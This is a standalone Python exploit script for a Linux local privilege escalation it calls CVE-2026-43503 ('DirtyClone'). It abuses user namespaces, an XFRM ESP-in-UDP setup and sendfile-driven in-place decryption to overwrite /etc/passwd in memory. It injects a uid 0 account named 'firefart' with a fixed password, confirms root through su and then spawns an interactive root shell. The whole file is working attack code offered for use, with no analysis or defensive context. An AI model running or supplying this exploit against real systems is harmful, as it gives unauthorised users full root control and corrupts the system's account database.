#!/usr/bin/env python3
import os
import sys
import socket
import struct
import subprocess
import ctypes
import time
import pty
import select

KEY = bytes(range(16))
SPI = 0x1000
PORT = 4500
PASSWD = "/etc/passwd"
ACCOUNT = "firefart"
PASSWORD = "pwned"
HASH = "$6$dcl0salt$8CQdeTvAZwavck5YAsQNIoBP.Vj3UvKNyjPXvuuhjnaksDbye8yGY6.1AaxTkNk1APd6e.hYT8yQ9wEzcOJmN0"

CLONE_NEWUSER = 0x10000000
CLONE_NEWNET = 0x40000000
SOL_UDP = 17
UDP_CORK = 1
UDP_ENCAP = 100
UDP_ENCAP_ESPINUDP = 2

crypto = None
for _lib in ("libcrypto.so.3", "libcrypto.so.1.1", "libcrypto.so"):
    try:
        crypto = ctypes.CDLL(_lib); break
    except OSError: pass
if crypto is None:
    sys.stderr.write("no libcrypto\n"); sys.exit(1)


class AES_KEY(ctypes.Structure):
    _fields_ = [("rd_key", ctypes.c_uint * 60), ("rounds", ctypes.c_int)]


crypto.AES_set_decrypt_key.argtypes = [ctypes.c_char_p, ctypes.c_int, ctypes.POINTER(AES_KEY)]
crypto.AES_decrypt.argtypes = [ctypes.c_char_p, ctypes.c_char_p, ctypes.POINTER(AES_KEY)]

libc = ctypes.CDLL("libc.so.6", use_errno=True)


def aes_decrypt_block(block):
    key = AES_KEY()
    crypto.AES_set_decrypt_key(KEY, 128, ctypes.byref(key))
    out = ctypes.create_string_buffer(16)
    crypto.AES_decrypt(block, out, ctypes.byref(key))
    return out.raw[:16]


def unshare(flags):
    if libc.unshare(flags) != 0:
        err = ctypes.get_errno()
        raise OSError(err, os.strerror(err))


def enter_namespace():
    uid, gid = os.getuid(), os.getgid()
    unshare(CLONE_NEWUSER | CLONE_NEWNET)
    open("/proc/self/setgroups", "w").write("deny")
    open("/proc/self/uid_map", "w").write("0 %d 1" % uid)
    open("/proc/self/gid_map", "w").write("0 %d 1" % gid)


def shell(cmd):
    res = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    if res.returncode != 0:
        raise RuntimeError("%s\n%s" % (cmd, res.stdout.decode()))


def configure_xfrm():
    key = KEY.hex()
    shell("ip link set lo up")
    shell("ip xfrm state add src 127.0.0.1 dst 127.0.0.1 proto esp spi %d reqid 1 "
          "mode transport enc 'cbc(aes)' 0x%s auth 'digest_null' '' "
          "encap espinudp %d %d 0.0.0.0" % (SPI, key, PORT, PORT))
    shell("ip xfrm policy add src 127.0.0.1 dst 127.0.0.1 dir in "
          "tmpl src 127.0.0.1 dst 127.0.0.1 proto esp reqid 1 mode transport")
    try: shell("iptables -t mangle -A OUTPUT -p udp --dport %d -j TEE --gateway 127.0.0.2" % PORT)
    except Exception as e: print("tee-skip",e)


def write_block(fd, offset, iv):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(SOL_UDP, UDP_CORK, 1)
    sock.connect(("127.0.0.1", PORT))
    sock.send(struct.pack(">II", SPI, 1) + iv, socket.MSG_MORE)
    os.sendfile(sock.fileno(), fd, offset, 16)
    sock.setsockopt(SOL_UDP, UDP_CORK, 0)
    sock.send(b"")
    sock.close()
    time.sleep(0.06)


def build_payload():
    data = open(PASSWD, "rb").read()
    root_line = data[:data.index(b"\n") + 1]
    entry = ("%s:%s:0:0:pwned:/root:/bin/bash\n" % (ACCOUNT, HASH)).encode()
    prefix = root_line + entry
    block_count = (len(prefix) + 15) // 16 + 1
    size = block_count * 16
    target = prefix + b"#" * (size - len(prefix))
    original = data[:size]
    ivs = []
    for i in range(block_count):
        c0 = original[i * 16:i * 16 + 16]
        t0 = target[i * 16:i * 16 + 16]
        decrypted = aes_decrypt_block(c0)
        ivs.append(bytes(a ^ b for a, b in zip(decrypted, t0)))
    return block_count, ivs


def run_exploit():
    block_count, ivs = build_payload()
    pid = os.fork()
    if pid == 0:
        try:
            enter_namespace()
            configure_xfrm()
            encap = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            encap.bind(("0.0.0.0", PORT))
            encap.setsockopt(SOL_UDP, UDP_ENCAP, UDP_ENCAP_ESPINUDP)
            fd = os.open(PASSWD, os.O_RDONLY)
            open(PASSWD, "rb").read()
            for i in range(block_count):
                write_block(fd, i * 16, ivs[i])
            time.sleep(0.4)
        except Exception as exc:
            sys.stderr.write("%r\n" % exc)
            os._exit(1)
        os._exit(0)
    os.waitpid(pid, 0)


def account_present():
    import pwd
    try:
        pwd.getpwnam(ACCOUNT)
        return True
    except KeyError:
        return False


def su_command(command):
    pid, fd = pty.fork()
    if pid == 0:
        os.execvp("su", ["su", ACCOUNT, "-c", command])
        os._exit(127)
    time.sleep(0.8)
    os.write(fd, (PASSWORD + "\n").encode())
    output = b""
    while True:
        try:
            chunk = os.read(fd, 4096)
        except OSError:
            break
        if not chunk:
            break
        output += chunk
    os.waitpid(pid, 0)
    return output


def interactive_shell():
    pid, fd = pty.fork()
    if pid == 0:
        os.execvp("su", ["su", ACCOUNT, "-c", "exec /bin/bash"])
        os._exit(127)
    time.sleep(0.8)
    os.write(fd, (PASSWORD + "\n").encode())
    while True:
        try:
            ready, _, _ = select.select([fd, sys.stdin], [], [], 30)
        except (OSError, ValueError):
            break
        if not ready:
            break
        if fd in ready:
            try:
                chunk = os.read(fd, 4096)
            except OSError:
                break
            if not chunk:
                break
            os.write(sys.stdout.fileno(), chunk)
        if sys.stdin in ready:
            try:
                chunk = os.read(sys.stdin.fileno(), 4096)
            except OSError:
                break
            if not chunk:
                break
            os.write(fd, chunk)


def main():
    print("[*] CVE-2026-43503 (DirtyClone) local privilege escalation")
    print("[*] uid=%d -> root" % os.getuid())
    run_exploit()
    if not account_present():
        print("[-] failed: target not vulnerable or unprivileged user namespaces restricted")
        return 1
    print("[+] injected uid 0 account '%s' (password: %s)" % (ACCOUNT, PASSWORD))
    proof = su_command(sys.argv[1] if len(sys.argv)>1 else "id")
    sys.stdout.write(proof.decode(errors="replace"))
    if b"uid=0" not in proof:
        return 1
    print("[+] root achieved")
    if sys.stdin.isatty():
        interactive_shell()
    return 0


if __name__ == "__main__":
    sys.exit(main())
